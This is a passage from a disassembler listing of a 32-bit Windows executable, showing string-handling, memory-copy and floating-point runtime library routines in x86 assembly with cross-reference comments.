cmp [edi], al
jz short loc_41BE61
xor eax, eax
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BE40+1Bj
mov eax, edi
loc_41BE63: ; CODE XREF: sub_41BE40+1Fj
cld
pop edi
leave
retn
sub_41BE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p
; ___:0041DD1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41BEA1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41BE9F
jz short loc_41BEA1
dec ecx
dec ecx
loc_41BE9F: ; CODE XREF: sub_41BE70+29j
not ecx
loc_41BEA1: ; CODE XREF: sub_41BE70+9j
; sub_41BE70+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41BE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp
; sub_401ACD+2FFDp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41BF21
sub_41BEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p
; sub_401ACD+75FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41BEDC
loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BF0F
test ecx, 3
jnz short loc_41BECD
loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj
; sub_41BEC0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41BEDC
mov eax, [ecx-4]
test al, al
jz short loc_41BF1E
test ah, ah
jz short loc_41BF19
test eax, 0FF0000h
jz short loc_41BF14
test eax, 0FF000000h
jz short loc_41BF0F
jmp short loc_41BEDC
; ---------------------------------------------------------------------------
loc_41BF0F: ; CODE XREF: sub_41BEC0+12j
; sub_41BEC0+4Bj
lea edi, [ecx-1]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF14: ; CODE XREF: sub_41BEC0+44j
lea edi, [ecx-2]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj
lea edi, [ecx-3]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF1E: ; CODE XREF: sub_41BEC0+39j
lea edi, [ecx-4]
loc_41BF21: ; CODE XREF: sub_41BEB0+5j
; sub_41BEC0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41BF46
loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41BF98
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41BF2D
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej
; sub_41BEC0+B8j
mov [edi], edx
add edi, 4
loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj
; sub_41BEC0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41BF41
test dl, dl
jz short loc_41BF98
test dh, dh
jz short loc_41BF8F
test edx, 0FF0000h
jz short loc_41BF82
test edx, 0FF000000h
jz short loc_41BF7A
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF82: ; CODE XREF: sub_41BEC0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF98: ; CODE XREF: sub_41BEC0+72j
; sub_41BEC0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41BEC0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BFB0
loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41BFB0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p
; sub_401ACD+4C3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41BFB6: ; CODE XREF: sub_41B900+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41BFDB
loc_41BFC8: ; CODE XREF: sub_41BFB0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41BFA0
test cl, cl
jz short loc_41C024
test edx, 3
jnz short loc_41BFC8
loc_41BFDB: ; CODE XREF: sub_41BFB0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41BFE6: ; CODE XREF: sub_41BFB0+61j
; sub_41BFB0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C028
and eax, 81010100h
jz short loc_41BFE6
and eax, 1010100h
jnz short loc_41C022
and esi, 80000000h
jnz short loc_41BFE6
loc_41C022: ; CODE XREF: sub_41BFB0+68j
; sub_41BFB0+81j ...
pop esi
pop edi
loc_41C024: ; CODE XREF: sub_41BFB0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C028: ; CODE XREF: sub_41BFB0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C065
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C05E
test ah, ah
jz short loc_41C022
shr eax, 10h
cmp al, bl
jz short loc_41C057
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C050
test ah, ah
jz short loc_41C022
jmp short loc_41BFE6
; ---------------------------------------------------------------------------
loc_41C050: ; CODE XREF: sub_41BFB0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C057: ; CODE XREF: sub_41BFB0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C05E: ; CODE XREF: sub_41BFB0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C065: ; CODE XREF: sub_41BFB0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41BFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C0BC
loc_41C080: ; CODE XREF: sub_41C070+3Cj
; sub_41C070+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+3]
jnz short loc_41C0B4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C080
mov edi, edi
loc_41C0B0: ; CODE XREF: sub_41C070+18j
; sub_41C070+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0B4: ; CODE XREF: sub_41C070+14j
; sub_41C070+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0BC: ; CODE XREF: sub_41C070+Ej
test edx, 1
jz short loc_41C0D8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C0B4
inc ecx
or al, al
jz short loc_41C0B0
test edx, 2
jz short loc_41C080
loc_41C0D8: ; CODE XREF: sub_41C070+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
add ecx, 2
jmp short loc_41C080
sub_41C070 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C10D: ; CODE XREF: sub_41C0F4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C10D
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C135
mov edx, dword_4DB9A4
loc_41C135: ; CODE XREF: sub_41C0F4+39j
; sub_41C0F4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C155
test al, al
jz short loc_41C155
inc edx
jmp short loc_41C135
; ---------------------------------------------------------------------------
loc_41C155: ; CODE XREF: sub_41C0F4+58j
; sub_41C0F4+5Cj
mov ebx, edx
loc_41C157: ; CODE XREF: sub_41C0F4+81j
mov al, [edx]
test al, al
jz short loc_41C17B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C177
inc edx
jmp short loc_41C157
; ---------------------------------------------------------------------------
loc_41C177: ; CODE XREF: sub_41C0F4+7Ej
and byte ptr [edx], 0
inc edx
loc_41C17B: ; CODE XREF: sub_41C0F4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DB9A4, edx
and eax, ebx
pop ebx
leave
retn
sub_41C0F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C190 proc near ; CODE XREF: sub_409A2D+1Cp
; sub_415221+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C1CE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C1DB
; ---------------------------------------------------------------------------
loc_41C1CE: ; CODE XREF: sub_41C190+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41C1DB: ; CODE XREF: sub_41C190+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C190 endp
; =============== S U B R O U T I N E =======================================
sub_41C1E0 proc near ; CODE XREF: sub_40AFEB+88p
; sub_40B64B+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C294
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C20A
loc_41C1FB: ; CODE XREF: sub_41C1E0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C23B
test edi, 3
jnz short loc_41C1FB
loc_41C20A: ; CODE XREF: sub_41C1E0+19j
; sub_41C1E0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C20A
mov eax, [edi-4]
test al, al
jz short loc_41C248
test ah, ah
jz short loc_41C243
test eax, 0FF0000h
jz short loc_41C23E
test eax, 0FF000000h
jnz short loc_41C20A
loc_41C23B: ; CODE XREF: sub_41C1E0+20j
dec edi
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C23E: ; CODE XREF: sub_41C1E0+52j
sub edi, 2
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C243: ; CODE XREF: sub_41C1E0+4Bj
sub edi, 3
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C248: ; CODE XREF: sub_41C1E0+47j
sub edi, 4
loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj
; sub_41C1E0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
jmp short loc_41C27C
; ---------------------------------------------------------------------------
loc_41C260: ; CODE XREF: sub_41C1E0+75j
; sub_41C1E0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C29A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C290
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej
; sub_41C1E0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C290
loc_41C283: ; CODE XREF: sub_41C1E0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C292
dec ecx
jnz short loc_41C283
loc_41C290: ; CODE XREF: sub_41C1E0+8Bj
; sub_41C1E0+A1j
mov [edi], cl
loc_41C292: ; CODE XREF: sub_41C1E0+ABj
pop ebx
pop esi
loc_41C294: ; CODE XREF: sub_41C1E0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C29A: ; CODE XREF: sub_41C1E0+85j
; sub_41C1E0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j
; sub_41C1E0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C27C
loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj
; sub_41C1E0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C2A4
test dl, dl
jz short loc_41C29A
test dh, dh
jz short loc_41C2F8
test edx, 0FF0000h
jz short loc_41C2E8
test edx, 0FF000000h
jnz short loc_41C2A4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C310 proc near ; CODE XREF: sub_40BFA4+15p
; sub_40BFA4+3Bp ...
var_3A3BFFC0 = byte ptr -3A3BFFC0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C330
cmp edi, eax
jb loc_41C4A8
loc_41C330: ; CODE XREF: sub_41C310+16j
test edi, 3
jnz short loc_41C34C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
loc_41C34C: ; CODE XREF: sub_41C310+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41C364
and eax, 3
add ecx, eax
jmp dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C364: ; CODE XREF: sub_41C310+46j
jmp dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C36C: ; CODE XREF: sub_41C310+31j
; sub_41C310+8Ej ...
jmp off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41C380
; ---------------------------------------------------------------------------
lodsb
retn
; ---------------------------------------------------------------------------
inc ecx
add al, dl
retn
; ---------------------------------------------------------------------------
dw 41h
; ---------------------------------------------------------------------------
loc_41C380: ; DATA XREF: sub_41C310+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr
dd offset loc_41C43C
dd offset loc_41C434
dd offset loc_41C42C
dd offset loc_41C424
dd offset loc_41C41C
dd offset loc_41C414
dd offset loc_41C40C
; ---------------------------------------------------------------------------
loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310:off_41C3ECo
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r
; sub_41C310+92r ...
dd offset loc_41C470
dd offset loc_41C47C
dd offset loc_41C490
; ---------------------------------------------------------------------------
loc_41C468: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C470: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C47C: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C490: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C4A8: ; CODE XREF: sub_41C310+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41C4DC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C4D0: ; CODE XREF: sub_41C310+1B1j
; sub_41C310+208j ...
neg ecx
jmp dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C4DC: ; CODE XREF: sub_41C310+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41C4F4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C4F4: ; CODE XREF: sub_41C310+1D6j
; DATA XREF: sub_41C310+1DDr
jmp off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
or ch, al
inc ecx
add [eax], ch
lds eax, [ecx+0]
push eax
lds eax, [ecx+0]
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
movsb
lds eax, [ecx+0]
lodsb
lds eax, [ecx+0]
mov ah, 0C5h
inc ecx
add [ebp+eax*8-3A3BFFBFh], bh
inc ecx
add ah, cl
lds eax, [ecx+0]
aam 0C5h
inc ecx
loc_41C59F: ; DATA XREF: sub_41C310+1C2r
add bh, ah
lds eax, [ecx+0]
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C5E7: ; CODE XREF: sub_41C310+1C2j
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r
; sub_41C310:loc_41C4F4r ...
dd offset loc_41C608
dd offset loc_41C618
dd offset loc_41C62C
; ---------------------------------------------------------------------------
loc_41C600: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C608: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C618: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C62C: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41C310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C645 proc near ; CODE XREF: sub_40BFEC+40p
; ___:0040E2A0p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41AFE0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420510
add esp, 10h
leave
retn
sub_41C645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C679(double)
sub_41C679 proc near ; CODE XREF: sub_40D031+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A970
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C6FF
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C6E2
cmp eax, 2
jle short loc_41C6D4
cmp eax, 3
jnz short loc_41C6E2
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6D4: ; CODE XREF: sub_41C679+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6E2: ; CODE XREF: sub_41C679+3Aj
; sub_41C679+44j
fld [ebp+arg_0]
fadd dbl_427710
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41C73C
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C679+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C722
loc_41C714: ; CODE XREF: sub_41C679+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C722: ; CODE XREF: sub_41C679+99j
test bl, 20h
jnz short loc_41C714
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41C73C: ; CODE XREF: sub_41C679+84j
call sub_421014
add esp, 1Ch
loc_41C744: ; CODE XREF: sub_41C679+59j
; sub_41C679+67j ...
pop esi
pop ebx
leave
retn
sub_41C679 endp
; =============== S U B R O U T I N E =======================================
sub_41C748 proc near ; CODE XREF: ___:0041B78Dp
; sub_4218B2+21p
; DATA XREF: ...
call sub_41C760
call sub_4218B2
mov dword_4DB9AC, eax
call sub_421862
fnclex
retn
sub_41C748 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
